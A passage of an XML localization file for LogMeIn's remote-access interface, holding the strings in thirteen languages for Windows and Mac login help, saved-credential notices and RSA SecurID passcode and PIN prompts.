<hu>Meg kell adnia Mac jelszavát, ahogyan azt általában teszi, 
amikor a %SRVNAME gépet helyileg éri el.</hu>
<pt-br>É necessário digitar sua senha do Mac como normalmente faz
quando acessa %SRVNAME localmente.</pt-br>
<nl>U moet uw Mac-wachtwoord invoeren zoals u dat normaal zou doen wanneer u op de lokale computer toegang wilt krijgen tot %SRVNAME.</nl>
</msg>
<msg name="XPPRO.LINE2">
<en>Your Windows login dialog looks like the one displayed below. Please close this window, and enter the Windows
username and password that you would use to log on to the computer named %SRVNAME.</en>
<es>El cuadro de diálogo de inicio de sesión es igual que el que se muestra abajo. Cierre esta ventana e introduzca el nombre de usuario
y contraseña que usaría si estuviese intentando iniciar sesión en el ordenador %SRVNAME.</es>
<fr>La boîte de dialogue d'ouverture de session de Windows ressemble à celle montré ci-dessous. Veuillez fermer cette fenêtre, et inscrivez 
le nom et le mot de passe utilisateur que vous utilisez d'habitude pour ouvrir une session sur l'ordinateur dénommé %SRVNAME.</fr>
<de>Das Dialogfeld für die Windows-Anmeldung ist mit dem unten angezeigten Dialogfeld vergleichbar. Schließen Sie dieses Fenster, und geben Sie den Benutzernamen und das Kennwort für die Windows-Anmeldung des Computers %SRVNAME ein.</de>
<it>La finestra di dialogo di accesso a Windows è simile a quella visualizzata di seguito. Chiudere questa finestra e immettere il nome utente e la password di Windows che si desidera utilizzare per accedere al computer denominato %SRVNAME.</it>
<ru>Диалоговое окно входа в Windows подобно представленному на приведенном ниже рисунке. Закройте это окно и введите имя пользователя и пароль Windows, которые обычно используются при входе в компьютер %SRVNAME.</ru>
<ja>Windows のログイン ダイアログは、以下に示すようなダイアログです。このウィンドウを閉じ、%SRVNAME という名前のコンピュータへのログインで使用する Windows のユーザ名とパスワードを入力してください。</ja>
<zh>Windows 登录对话框类似于如下所示的对话框。请关闭此窗口,并输入
在登录名为 %SRVNAME 的计算机时所使用的 Windows 用户名和密码。</zh>
<ko>Windows 로그인 대화 상자는 아래와 같은 모양입니다. 이 창을 닫고 %SRVNAME 컴퓨터 로그온에 사용하는 Windows 사용자 이름 및 암호를 입력하십시오.</ko>
<en-gb>Your Windows login dialogue looks like the one displayed below. Please close this window and enter the Windows
username and password that you would use to log on to the computer named %SRVNAME.</en-gb>
<hu>A Windows bejelentkezési párbeszédablak az alább feltüntetetthez hasonló. Kérem, zárja be ezt az ablakot és adja meg Windows
felhasználónevét és jelszavát, amelyet a %SRVNAME nevű számítógépre való bejelentkezéskor szokott használni.</hu>
<pt-br>Sua caixa de diálogo do Windows parece com a exibida abaixo. Feche esta janela e digite o nome de usuário e a senha
do Windows que usaria para efetuar logon no computador %SRVNAME.</pt-br>
<nl>Het dialoogvenster van de Windows-aanmelding op uw computer lijkt ongeveer op het dialoogvenster dat hieronder is weergegeven. Sluit dit venster en voer de Windows-gebruikersnaam en het Windows-wachtwoord in dat u normaal zou gebruiken om u aan te melden bij de computer met de computernaam %SRVNAME.</nl>
</msg>
<msg os="macosx" name="XPPRO.LINE2">
<en>Your Mac login dialog looks like the one displayed below. Please close this window, and enter the Mac
username and password that you would use to log on to the computer named %SRVNAME.</en>
<es>El cuadro de diálogo de inicio de sesión es igual que el que se muestra abajo. Cierre esta ventana e introduzca el nombre de usuario
y contraseña que usaría si estuviese intentando iniciar sesión en el ordenador %SRVNAME.</es>
<fr>La boîte de dialogue d'ouverture de session de Mac ressemble à celle montré ci-dessous. Veuillez fermer cette fenêtre, et inscrivez 
le nom et le mot de passe utilisateur que vous utilisez d'habitude pour ouvrir une session sur l'ordinateur dénommé %SRVNAME.</fr>
<de>Das Dialogfeld für die Mac-Anmeldung ist mit dem unten angezeigten Dialogfeld vergleichbar. Schließen Sie dieses Fenster, und geben Sie den Benutzernamen und das Kennwort für die Mac-Anmeldung des Computers %SRVNAME ein.</de>
<it>La finestra di dialogo di accesso a Mac è simile a quella visualizzata di seguito. Chiudere questa finestra e immettere il nome utente e la password di Mac che si desidera utilizzare per accedere al computer denominato %SRVNAME.</it>
<ru>Диалоговое окно входа в Mac подобно представленному на приведенном ниже рисунке. Закройте это окно и введите имя пользователя и пароль Mac, которые обычно используются при входе в компьютер %SRVNAME.</ru>
<ja>Mac のログイン ダイアログは、以下に示すようなダイアログです。このウィンドウを閉じ、%SRVNAME という名前のコンピュータへのログインで使用する Mac のユーザ名とパスワードを入力してください。</ja>
<zh>Mac 登录对话框类似于如下所示的对话框。请关闭此窗口,并输入
在登录名为 %SRVNAME 的计算机时所使用的 Mac 用户名和密码。</zh>
<ko>Mac 로그인 대화 상자는 아래와 같은 모양입니다. 이 창을 닫고 %SRVNAME 컴퓨터 로그온에 사용하는 Mac 사용자 이름 및 암호를 입력하십시오.</ko>
<en-gb>Your Mac login dialogue looks like the one displayed below. Please close this window and enter the Mac
username and password that you would use to log on to the computer named %SRVNAME.</en-gb>
<hu>A Mac bejelentkezési párbeszédablak az alább feltüntetetthez hasonló. Kérem, zárja be ezt az ablakot és adja meg Mac
felhasználónevét és jelszavát, amelyet a %SRVNAME nevű számítógépre való bejelentkezéskor szokott használni.</hu>
<pt-br>Sua caixa de diálogo do Mac parece com a exibida abaixo. Feche esta janela e digite o nome de usuário e a senha
do Mac que usaria para efetuar logon no computador %SRVNAME.</pt-br>
<nl>Het dialoogvenster van de Mac-aanmelding op uw computer lijkt ongeveer op het dialoogvenster dat hieronder is weergegeven. Sluit dit venster en voer de Mac-gebruikersnaam en het Mac-wachtwoord in dat u normaal zou gebruiken om u aan te melden bij de computer met de computernaam %SRVNAME.</nl>
</msg>
<msg name="XPHOME.LINE1">
<en>You need to enter the username and password combination for the computer named %SRVNAME.</en>
<es>Es necesario introducir la combinación de nombre de usuario y contraseña para el ordenador %SRVNAME.</es>
<fr>Vous devez saisir le nom et le mot de passe utilisateur pour l'ordinateur dénommé %SRVNAME.</fr>
<de>Sie müssen den Benutzernamen und das Kennwort für den Computer %SRVNAME eingeben.</de>
<it>È necessario immettere il nome utente e la password per il computer denominato %SRVNAME.</it>
<ru>Необходимо ввести имя пользователя и пароль для компьютера с именем %SRVNAME.</ru>
<ja>%SRVNAME という名前のコンピュータで使用するユーザ名とパスワードの組み合わせを入力する必要があります。</ja>
<zh>需要为名为 %SRVNAME 的计算机输入用户名和密码组合。</zh>
<ko>%SRVNAME 컴퓨터에 대한 사용자 이름 및 암호를 함께 입력해야 합니다.</ko>
<en-gb>You need to enter the username and password combination for the computer named %SRVNAME.</en-gb>
<hu>Meg kell adnia a felhasználói név és jelszó kombinációt a %SRVNAME nevű számítógéphez.</hu>
<pt-br>É necessário digitar o nome de usuário e a senha para o computador chamado de %SRVNAME.</pt-br>
<nl>U moet de combinatie van de gebruikersnaam en het wachtwoord invoeren voor de computer met de computernaam %SRVNAME.</nl>
</msg>
<msg name="XPHOME.LINE2">
<en>The username is the one you would pick on the Welcome screen when logging in to your computer, as shown below. 
The password you need to enter is the 
password associated with the account. If the account does not have a password, you cannot 
use LogMeIn to access %SRVNAME as that user. Enter the login credentials for an account that does have a password.</en>
<es>El nombre de usuario es el que elegiría en la pantalla Bienvenida cuando estuviese intentando iniciar sesión en su ordenador, como se muestra abajo. 
La contraseña que necesita introducir es la 
asociada a la cuenta. Si la cuenta no tiene contraseña, no puede 
utilizar LogMeIn para tener acceso a %SRVNAME como ese usuario. Introduzca las credenciales de inicio de sesión para una cuenta que tenga contraseña.</es>
<fr>Le nom de l'utilisateur est celui que vous sélectionner normalement sur l'écran de bienvenue de votre ordinateur, comme montré ci-dessous. 
Le mot de passe que vous devez entrer est celui
qui est associé à ce compte. Si ce compte n'a pas de mot de passe, vous ne pouvez pas 
utiliser LogMeIn pour accéder à %SRVNAME avec cet utilisateur. Entrez des les données d'ouverture de session pour un compte qui possède un mot de passe.</fr>
<de>Der Benutzername wird auf der Willkommenseite bei der Anmeldung Ihres Computers angegeben (siehe unten). 
Bei dem Kennwort handelt es sich um das Kennwort für den Zugriff auf Ihr Konto. Wenn für das Konto kein Kennwort angegeben wird, können Sie unter diesem Benutzernamen nicht über LogMeIn auf %SRVNAME zugreifen. Geben Sie die Anmeldedaten für ein Konto ein, für das ein Kennwort eingerichtet ist.</de>
<it>Il nome utente è quello che appare nella schermata di benvenuto quando si accede al proprio computer, come mostrato di seguito. 
La password da immettere è quella associata all'account. Se l'account non dispone di una password, non è possibile utilizzare LogMeIn per accedere a %SRVNAME. Immettere le credenziali di accesso di un account che disponga di una password.</it>
<ru>Имя пользователя соответствует имени, которое появляется на экране приветствия во время входа в данный компьютер (см. ниже). 
Необходимо ввести пароль, соответствующий данной учетной записи. Если учетная запись не защищена паролем, то программа LogMeIn не может быть использовано для доступа к компьютеру %SRVNAME в контексте такой учетной записи. Укажите учетные данные учетной записи, защищенной паролем.</ru>
<ja>このユーザ名は、コンピュータへのログイン時に表示される以下のような「ようこそ」画面で選択する名前です。入力する必要があるパスワードは、このアカウントに関連付けられたパスワードです。このアカウントにパスワードが設定されていない場合、LogMeIn を使用してそのユーザとして %SRVNAME にアクセスすることはできません。パスワードが設定されたアカウントのログイン資格情報を入力してください。</ja>
<zh>此用户名即为登录计算机时在“欢迎”屏幕中要使用的用户名,如下所示。 
需要输入
与帐户相关的密码。如果帐户没有密码,则您无法以该用户身份
使用 LogMeIn 访问 %SRVNAME。输入确实有密码的帐户的登录证书。</zh>
<ko>사용자 이름은 아래와 같이 컴퓨터에 로그인할 때 나타나는 시작 화면에서 선택하는 이름입니다. 입력해야 할 암호는 계정과 연결된 암호입니다. 계정에 암호가 없는 경우 LogMeIn을 사용하여 해당 사용자로 %SRVNAME에 액세스할 수 없습니다. 암호가 있는 계정에 대해 로그인 자격 증명을 입력하십시오.</ko>
<en-gb>The username is the one you would pick on the Welcome screen when logging in to your computer, as shown below. 
The password you need to enter is the 
password associated with the account. If the account does not have a password, you cannot 
use LogMeIn to access %SRVNAME as that user. Enter the login credentials for an account that does have a password.</en-gb>
<hu>Ez az a felhasználónév, amelyet az üdvözlőképernyőn szokott megadni, amikor bejelentkezik a számítógépére, az alábbiak szerint. 
A jelszó, amelyet meg kell adjon az a  
jelszó, amely a felhasználói fiókhoz tartozik. Amennyiben a felhasználói fiók nem rendelkezik jelszóval, Ön nem 
használhatja a LogMeIn-t az adott felhasználónévvel a %SRVNAME eléréséhez. Adja meg a bejelentkezési hitelesítő adatokat egy olyan felhasználói fiókhoz, amely egy jelszóval rendelkezik.</hu>
<pt-br>O nome de usuário é o que você pegaria na tela Windows, ao fazer login no computador, como mostrado abaixo. 
A senha que deve digitar é a
associada à conta. Se a conta não tiver uma senha, não será possível
Usar o LogMeIn para acessar %SRVNAME como esse usuário. Digite as credenciais de login para uma conta que não contenha uma senha.</pt-br>
<nl>De gebruikersnaam is de naam die wordt weergegeven in het welkomstscherm dat verschijnt wanneer u zich bij uw computer aanmeldt, zoals hieronder is weergegeven. Het wachtwoord dat u moet invoeren is het wachtwoord dat aan de account is toegewezen. Als aan de account geen wachtwoord is toegewezen, kunt u LogMeIn niet gebruiken om als deze gebruiker toegang te krijgen tot %SRVNAME. Voer de aanmeldingsgegevens in voor een account waaraan een wachtwoord is toegewezen.</nl>
</msg>
</cat>
<cat name="CREDENTIALSHELP">
<msg name="TITLE">
<en>Save Credentials Help</en>
<es>Ayuda para guardar credenciales</es>
<de>Hilfe bei der Speicherung von Zugangsdaten</de>
<fr>Aide sur l'enregistrement d'identifiants</fr>
<it>Guida al salvataggio delle credenziali</it>
<ru>Справка по сохранению учетных данных</ru>
<ja>資格情報の保存に関するヘルプ</ja>
<zh>保存凭据帮助</zh>
<ko>자격 증명 저장 도움말</ko>
<en-gb>Save Credentials Help</en-gb>
<hu>Súgó – Azonosító adatok mentése</hu>
<pt-br>Ajuda para salvar credenciais</pt-br>
<nl>Hulp bij opslaan aanmeldingsgegevens</nl>
</msg>
<msg name="LINE1">
<en>Check this checkbox to enable automatic login. All login credentials are encrypted and stored securely in the browser.</en>
<es>Verifique esta casilla de verificación para activar el inicio de sesión automático. Todas las credenciales de inicio de sesión están cifradas y se almacenan de forma segura en el navegador.</es>
<de>Aktivieren Sie dieses Kontrollkästchen, um die automatische Anmeldung zu aktivieren. Alle Zugangsdaten werden verschlüsselt und sicher im Browser gespeichert.</de>
<fr>Cochez cette case pour activer la connexion automatique. Toutes les identifiants de connexion sont chiffrées et enregistrées de façon sécurisée sur le navigateur.</fr>
<it>Selezionare questa casella di controllo per attivare l'accesso automatico. Tutte le credenziali di accesso vengono crittografate e archiviate in modo sicuro nel browser.</it>
<ru>Установите этот флажок, чтобы включить автоматический вход. Учетные данные для входа шифруются и безопасно хранятся в браузере.</ru>
<ja>自動ログインを使用するには、このチェック ボックスをオンにします。 すべてのログイン資格情報が暗号化され、ブラウザに安全に保存されます。</ja>
<zh>选中此复选框以启用自动登录。 所有登录凭据将被加密并安全存储到浏览器中。</zh>
<ko>자동 로그인을 사용하려면 이 상자를 선택하십시오. 브라우저에 있는 모든 자격 증명은 암호화되어 안전하게 저장됩니다.</ko>
<en-gb>Check this checkbox to enable automatic login. All login credentials are encrypted and stored securely in the browser.</en-gb>
<hu>Ezt a négyzetet bejelölve engedélyezheti az automatikus bejelentkezést. Minden azonosító adat titkosított, és biztonságosan tárolódik a böngészőben.</hu>
<pt-br>Para habilitar o login automático, marque esta caixa de seleção. Todas as credenciais de login são criptografadas e armazenadas com segurança no navegador.</pt-br>
<nl>Schakel dit selectievakje in om automatisch aanmelden in te schakelen. Alle aanmeldingsgegevens zijn gecodeerd en veilig in de browser opgeslagen.</nl>
</msg>
<msg name="LINE2">
<en>These credentials can only be used by this account, accessing from this computer. These credentials are not stored by the LogMeIn service.</en>
<es>Esta cuenta sólo puede utilizar estas credenciales cuando se accede desde este ordenador. El servicio LogMeIn no las almacena.</es>
<de>Diese Zugangsdaten können nur von diesem Konto und beim Zugriff über diesen Computer verwendet werden. Der LogMeIn-Dienst speichert diese Zugangsdaten nicht.</de>
<fr>Ces identifiants ne peuvent être utilisées que par ce compte, et à partir de cet ordinateur. Ces identifiants ne sont pas enregistrées par le service LogMeIn.</fr>
<it>Queste credenziali possono essere utilizzate solamente da questo account eseguendo l'accesso da questo computer. Queste credenziali non vengono archiviate dal servizio LogMeIn.</it>
<ru>Эти учетные данные могут использоваться только данной учетной записью при доступе с этого компьютера. Эти учетные данные не хранятся в службе LogMeIn.</ru>
<ja>この資格情報を使用できるのは、このコンピュータからこのアカウントでアクセスする場合に限定されます。 資格情報は LogMeIn サービスには保存されません。</ja>
<zh>这些凭据只能被此帐户用于通过此计算机访问。 LogMeIn 服务不存储这些凭据。</zh>
<ko>이 자격 증명은 이 컴퓨터로 액세스하여 이 계정으로만 사용할 수 있습니다. 이 자격 증명은 LogMeIn 서비스에 의해 저장됩니다.</ko>
<en-gb>These credentials can only be used by this account, accessing from this computer. These credentials are not stored by the LogMeIn service.</en-gb>
<hu>Ezek az azonosító adatok csak ehhez a fiókhoz és csak erről a számítógépről használhatók. Az azonosító adatokat a LogMeIn szolgáltatás nem tárolja el.</hu>
<pt-br>Essas credenciais só podem ser usadas por esta conta, com acesso por este computador. Essas credenciais não são armazenadas pelo serviço do LogMeIn.</pt-br>
<nl>Deze aanmeldingsgegevens kunnen alleen door dit account, vanuit deze computer worden gebruikt. Deze aanmeldingsgegevens worden niet door de LogMeIn-service opgeslagen.</nl>
</msg>
</cat>
<!-- RSA SecurID authentication messages -->
<cat name="RSA">
<msg name="NAME">
<en>RSA SecurID</en>
<de>RSA SecurID</de>
<es>RSA SecurID</es>
<fr>RSA SecurID</fr>
<it>RSA SecurID</it>
<ru>RSA SecurID</ru>
<ja>RSA SecurID</ja>
<zh>RSA SecurID</zh>
<ko>RSA SecurID</ko>
<en-gb>RSA SecurID</en-gb>
<hu>RSA SecurID</hu>
<pt-br>RSA SecurID</pt-br>
<nl>RSA SecurID</nl>
</msg>
<msg name="AUTH">
<en>RSA SecurID Authentication</en>
<de>RSA-SecurID-Authentifizierung</de>
<es>Autenticación RSA SecurID</es>
<fr>RSA SecurID Authentication</fr>
<it>Autenticazione RSA SecurID</it>
<ru>Проверка подлинности RSA SecurID</ru>
<ja>RSA SecurID 認証</ja>
<zh>RSA SecurID 验证</zh>
<ko>RSA SecurID 인증</ko>
<en-gb>RSA SecurID Authentication</en-gb>
<hu>RSA SecurID hitelesítés</hu>
<pt-br>Autenticação RSA SecurID</pt-br>
<nl>RSA SecurID-verificatie</nl>
</msg>
<msg name="USERID">
<en>User ID</en>
<de>User ID</de>
<es>ID de usuario</es>
<fr>Code utilisateur</fr>
<it>ID utente</it>
<ru>Идентификатор пользователя</ru>
<ja>ユーザ ID</ja>
<zh>用户 ID</zh>
<ko>사용자 ID</ko>
<en-gb>User ID</en-gb>
<hu>Felhasználói azonosító</hu>
<pt-br>ID do usuário</pt-br>
<nl>Gebruikers-ID</nl>
</msg>
<msg name="PASSCODE">
<en>Passcode</en>
<de>Passcode</de>
<es>Código de acceso</es>
<fr>Mot de passe</fr>
<it>Passcode</it>
<ru>Код доступа</ru>
<ja>パスコード</ja>
<zh>通行码</zh>
<ko>패스코드</ko>
<en-gb>Passcode</en-gb>
<hu>Jelszó</hu>
<pt-br>Senha</pt-br>
<nl>Toegangscode</nl>
</msg>
<msg name="PASSCODENOTE">
<en>The Passcode is your PIN followed by the Tokencode.</en>
<de>Der Passcode ist Ihre PIN, gefolgt vom Tokencode.</de>
<es>El Código de acceso es su PIN seguido del Tokencode.</es>
<fr>Le mot de passe est votre PIN suivi du code d'ajout au mot de passe.</fr>
<it>Il passcode è costituito dal PIN seguito dal tokencode.</it>
<ru>Код доступа представляет собой PIN-код, после которого указывается код маркера.</ru>
<ja>パスコードは、PIN とトークンコードで構成されます。</ja>
<zh>通行码就是在您的 PIN 后面加上令牌码。</zh>
<ko>패스코드는 토큰코드 다음에 오는 PIN입니다.</ko>
<en-gb>The Passcode is your PIN followed by the Tokencode.</en-gb>
<hu>A jelszó az Ön PIN száma, amelyet a token kód követ.</hu>
<pt-br>A senha é o seu PIN seguido do código de token.</pt-br>
<nl>De toegangscode wordt gevormd door uw pincode gevolgd door de tokencode.</nl>
</msg>
<msg brand="LMI" name="PASSCODENOTE">
<en>Please enter your RSA SecurID Passcode. The Passcode is your PIN followed by the Tokencode.</en>
<es>El Código de acceso es su PIN seguido del Tokencode.</es>
<fr>Le mot de passe est votre PIN suivi du code d'ajout au mot de passe.</fr>
<it>Il passcode è costituito dal PIN seguito dal tokencode.</it>
<ru>Код доступа представляет собой PIN-код, после которого указывается код маркера.</ru>
<ja>パスコードは、PIN とトークンコードで構成されます。</ja>
<zh>通行码就是在您的 PIN 后面加上令牌码。</zh>
<ko>패스코드는 토큰코드 다음에 오는 PIN입니다.</ko>
<en-gb>The Passcode is your PIN followed by the Tokencode.</en-gb>
<hu>A jelszó az Ön PIN száma, amelyet a token kód követ.</hu>
<pt-br>A senha é o seu PIN seguido do código de token.</pt-br>
<nl>De toegangscode wordt gevormd door uw pincode gevolgd door de tokencode.</nl>
</msg>
<msg name="TOKENCODE">
<en>Tokencode</en>
<de>Tokencode</de>
<es>Tokencode</es>
<fr>Code d'ajout au mot de passe</fr>
<it>Tokencode</it>
<ru>Код маркера</ru>
<ja>トークンコード</ja>
<zh>令牌码</zh>
<ko>토큰코드</ko>
<en-gb>Tokencode</en-gb>
<hu>Token kód</hu>
<pt-br>Código do token</pt-br>
<nl>Tokencode</nl>
</msg>
<msg name="NEXTTOKENCODE">
<en>Wait for the tokencode to change, then enter the new tokencode.</en>
<de>Warten Sie auf die Änderung des Tokencodes. Geben Sie anschließend den neuen Tokencode ein.</de>
<es>Espere hasta que el tokencode cambie y, a continuación, introduzca el nuevo tokencode.</es>
<fr>Merci de patienter pendant le changement du code d'ajout au mot de passe, puis entrer votre nouveau code d'ajout au mot de passe</fr>
<it>Attendere che il tokencode venga modificato, quindi immettere quello nuovo.</it>
<ru>Дождитесь изменения кода маркера, а затем введите новый код маркера.</ru>
<ja>トークンコードが変わるのを待ってから、新しいトークンコードを入力してください。</ja>
<zh>等待令牌码发生更改,然后输入新的令牌码。</zh>
<ko>토큰코드가 변경될 때까지 기다린 후 새 토큰코드를 입력하십시오.</ko>
<en-gb>Wait for the tokencode to change, then enter the new tokencode.</en-gb>
<hu>Várjon, amíg a token kód módosul, majd írja be az új token kódot.</hu>
<pt-br>Aguarde a alteração do código do token e, em seguida,digite o novo código de token.</pt-br>
<nl>Wacht tot de tokencode is gewijzigd en voer vervolgens de nieuwe tokencode in.</nl>
</msg>
<msg name="NEXTTOKENCODEPROMPT">
<en>Next Tokencode</en>
<de>Nächster Tokencode</de>
<es>Siguiente tokencode</es>
<fr>Code d'ajout au mot de passe suivant</fr>
<it>Tokencode successivo</it>
<ru>Следующий код маркера</ru>
<ja>次のトークンコード</ja>
<zh>下一个令牌码</zh>
<ko>다음 토큰코드</ko>
<en-gb>Next Tokencode</en-gb>
<hu>Következő token kód.</hu>
<pt-br>Próximo código de token</pt-br>
<nl>Volgende tokencode</nl>
</msg>
<msg name="NEWPINPROMPT">
<en>You must select a new PIN. Do you want the system to generate it?</en>
<de>Sie müssen eine neue PIN wählen. Soll automatisch eine PIN generiert werden?</de>
<es>Debe elegir un nuevo PIN. ¿Desea que lo genere el sistema?</es>
<fr>Vous devez choisir un nouveau PIN. Désirez-vous que le système en génère un pour vous ?</fr>
<it>È necessario selezionare un nuovo PIN. Si desidera farlo generare dal sistema?</it>
<ru>Необходимо выбрать новый PIN-код. Разрешить системе сгенерировать его?</ru>
<ja>新しい PIN を選択する必要があります。システム生成の PIN を使用しますか?</ja>
<zh>您必须选择一个新 PIN。是否希望由系统生成 PIN?</zh>
<ko>새 PIN을 선택해야 합니다. 시스템에서 PIN을 생성하시겠습니까?</ko>
<en-gb>You must select a new PIN. Do you want the system to generate it?</en-gb>
<hu>Új PIN kódot kell választania. Kívánja, hogy a rendszer hozzon létre egyet?</hu>
<pt-br>Selecione um PIN. Deseja que o sistema o gere?</pt-br>
<nl>U moet een nieuwe pincode selecteren. Wilt u automatisch een nieuwe code door het systeem laten genereren?</nl>
</msg>
<msg name="NEWPINSYSPROMPT">
<en>You must accept a new PIN generated by the system. Continue?</en>
<de>Sie müssen die automatisch generierte PIN akzeptieren. Weiter?</de>
<es>Debe aceptar un nuevo PIN generado por el sistema. ¿Desea continuar?</es>
<fr>Vous devez accepter un nouveau PIN généré par le système. Désirez-vous continuer ?</fr>
<it>È necessario accettare il nuovo PIN generato dal sistema. Continuare?</it>
<ru>Необходимо принять новый PIN-код, сгенерированный системой. Продолжить?</ru>
<ja>システムで生成された新しい PIN を受け入れる必要があります。続行しますか?</ja>
<zh>您必须接受由系统生成的新 PIN。继续?</zh>
<ko>시스템에서 생성된 새 PIN을 승인해야 합니다. 계속하시겠습니까?</ko>
<en-gb>You must accept a new PIN generated by the system. Continue?</en-gb>
<hu>El kell fogadnia a rendszer által létrehozott új PIN kódot. Folytatja?</hu>
<pt-br>Aceite um novo PIN gerado pelo sistema. Continuar?</pt-br>
<nl>De nieuwe pincode die door het systeem is gegenereerd, moet u vervolgens accepteren. Wilt u doorgaan?</nl>
</msg>
<msg name="NEWPINDISPPROMPT">
<en>Your new PIN is: %NEWPIN. Press ENTER to continue.</en>
<de>Ihre neue PIN ist: %NEWPIN. Drücken Sie die Eingabetaste, um fortzufahren.</de>
<es>Su nuevo PIN es: %NEWPIN. Pulse ENTER para continuar.</es>
<fr>Vous nouveau PIN est : %NEWPIN. Presser ENTREE pour continuer.</fr>
<it>Nuovo PIN: %NEWPIN. Premere INVIO per continuare.</it>
<ru>Новый PIN-код: %NEWPIN. Нажмите клавишу ENTER, чтобы продолжить.</ru>
<ja>新しい PIN は、%NEWPIN です。続行するには、ENTER キーを押します。</ja>
<zh>您的新 PIN 为:%NEWPIN。按 ENTER 键继续。</zh>
<ko>새 PIN: %NEWPIN. 계속하려면 ENTER 키를 누르십시오.</ko>
<en-gb>Your new PIN is: %NEWPIN. Press ENTER to continue.</en-gb>
<hu>Az Ön új PIN kódja: %NEWPIN. Nyomja le az ENTER-t a folytatáshoz.</hu>
<pt-br>Seu novo PIN é: %NEWPIN. Pressione ENTER para continuar.</pt-br>
<nl>Uw nieuwe pincode is: %NEWPIN. Druk op de Enter-toets om verder te gaan.</nl>
</msg>
<msg name="NEWPIN">
<en>You must select a new PIN of %MAXPIN digits.</en>
<de>Sie müssen eine neue PIN mit %MAXPIN Zeichen wählen.</de>
<es>Debe elegir un nuevo PIN de %MAXPIN dígitos.</es>
<fr>Vous devez choisir un nouveau PIN avec au plus %MAXPIN chiffres.</fr>
<it>È necessario selezionare un nuovo PIN di %MAXPIN cifre.</it>
<ru>Необходимо выбрать новый PIN-код, состоящий из %MAXPIN цифр.</ru>
<ja>%MAXPIN 桁の新しい PIN を選択する必要があります。</ja>
<zh>必须选择一个包含 %MAXPIN 位数字的新 PIN。</zh>
<ko>%MAXPIN 숫자로 새 PIN을 선택해야 합니다.</ko>
<en-gb>You must select a new PIN of %MAXPIN digits.</en-gb>
<hu>Új, %MAXPIN számjegyű PIN kódot kell választania.</hu>
<pt-br>Selecione um PIN de %MAXPIN dígitos.</pt-br>
<nl>U moet een nieuwe pincode van max. %MAXPIN cijfers kiezen.</nl>
</msg>
<msg name="NEWPINV">
<en>You must select a new PIN between %MINPIN and %MAXPIN digits.</en>
<de>Sie müssen eine neue PIN zwischen %MINPIN und %MAXPIN Zeichen wählen.</de>
<es>Debe elegir un nuevo PIN de entre %MINPIN y %MAXPIN dígitos.</es>
<fr>Vous devez choisir un nouveau PIN contenant entre %MINPIN et %MAXPIN chiffres.</fr>
<it>È necessario selezionare un nuovo PIN di minimo %MINPIN e massimo %MAXPIN cifre.</it>
<ru>Необходимо выбрать новый PIN-код, состоящий из %MINPIN-%MAXPIN цифр.</ru>
<ja>%MINPIN ~ %MAXPIN 桁までの新しい PIN を選択する必要があります。</ja>
<zh>您必须选择一个介于 %MINPIN 和 %MAXPIN 位数字之间的新 PIN。</zh>
<ko>%MINPIN에서 %MAXPIN 사이의 숫자로 새 PIN을 선택해야 합니다.</ko>
<en-gb>You must select a new PIN of between %MINPIN and %MAXPIN digits.</en-gb>
<hu>Új, legalább %MINPIN és legfeljebb %MAXPIN számjegyből álló PIN kódot kell választania.</hu>
<pt-br>Selecione um PIN com %MINPIN a %MAXPIN dígitos.</pt-br>
<nl>U moet een nieuwe pincode van min. %MINPIN  en max. %MAXPIN cijfers kiezen.</nl>
</msg>
<msg name="NEWPINAN">
<en>You must select a new PIN of %MAXPIN alphanumeric characters.</en>
<de>Sie müssen eine neue PIN mit %MAXPIN alphanumerischen Zeichen wählen.</de>
<es>Debe elegir un nuevo PIN de %MAXPIN caracteres alfanuméricos.</es>
<fr>Vous devez choisir un nouveau PIN contant au plus %MAXPIN caractères alphanumériques.</fr>
<it>È necessario selezionare un nuovo PIN di %MAXPIN caratteri alfanumerici.</it>
<ru>Необходимо выбрать новый PIN-код, состоящий из %MAXPIN букв и цифр.</ru>
<ja>%MAXPIN 文字の英数字から成る新しい PIN を選択する必要があります。</ja>
<zh>您必须选择一个包含 %MAXPIN 个字母数字字符的新 PIN。</zh>
<ko>%MAXPIN개의 알파벳 문자로 새 PIN을 선택해야 합니다.</ko>
<en-gb>You must select a new PIN of %MAXPIN alphanumeric characters.</en-gb>
<hu>Új, %MAXPIN alfanumerikus karakterből álló PIN kódot kell választania.</hu>
<pt-br>Selecione um PIN de %MAXPIN caracteres alfanuméricos.</pt-br>
<nl>U moet een nieuwe pincode van max. %MAXPIN alfanumerieke tekens kiezen.</nl>
</msg>
<msg name="NEWPINANV">
<en>You must select a new PIN between %MINPIN and %MAXPIN alphanumeric characters.</en>
<de>Sie müssen eine neue PIN zwischen %MINPIN und %MAXPIN alphanumerischen Zeichen wählen.</de>
<es>Debe elegir un nuevo PIN de entre %MINPIN y %MAXPIN caracteres alfanuméricos.</es>
<fr>Vous devez choisi un nouveau PIN contenant entre %MINPIN et %MAXPIN caractères alphanumériques.</fr>
<it>È necessario selezionare un nuovo PIN di minimo %MINPIN e massimo %MAXPIN caratteri alfanumerici.</it>
<ru>Необходимо выбрать новый PIN-код, состоящий из %MINPIN-%MAXPIN букв и цифр.</ru>
<ja>%MINPIN ~ %MAXPIN 文字までの英数字から成る新しい PIN を選択する必要があります。</ja>
<zh>您必须选择一个介于 %MINPIN 和 %MAXPIN 个字母数字字符之间的新 PIN。</zh>
<ko>%MINPIN개에서 %MAXPIN개의 알파벳 문자로 새 PIN을 선택해야 합니다.</ko>
<en-gb>You must select a new PIN of between %MINPIN and %MAXPIN alphanumeric characters.</en-gb>
<hu>Új, legalább %MINPIN és legfeljebb %MAXPIN alfanumerikus karakterből álló PIN kódot kell választania.</hu>
<pt-br>Selecione um PIN com %MINPIN a %MAXPIN caracteres alfanuméricos.</pt-br>
<nl>U moet een nieuwe pincode van min. %MINPIN  en max. %MAXPIN alfanumerieke tekens kiezen.</nl>
</msg>
<msg name="GENERATEPIN">
<en>Generate</en>
<de>Generieren</de>
<es>Generar</es>
<fr>Générer</fr>
<it>Genera</it>
<ru>Сгенерировать</ru>
<ja>生成</ja>
<zh>生成</zh>
<ko>생성</ko>
<en-gb>Generate</en-gb>
<hu>Létrehozás</hu>
<pt-br>Gerar</pt-br>
<nl>Genereren</nl>
</msg>
<msg name="ENTERPIN">
<en>Enter new PIN</en>
<de>Neue PIN eingeben</de>
<es>Introducir nuevo PIN</es>
<fr>Entrer votre nouveau PIN</fr>
<it>Immetti il nuovo PIN</it>
<ru>Введите новый PIN-код</ru>
<ja>新しい PIN を入力する</ja>
<zh>输入新 PIN</zh>
<ko>새 PIN 입력</ko>
<en-gb>Enter new PIN</en-gb>
<hu>Az új PIN megadása</hu>
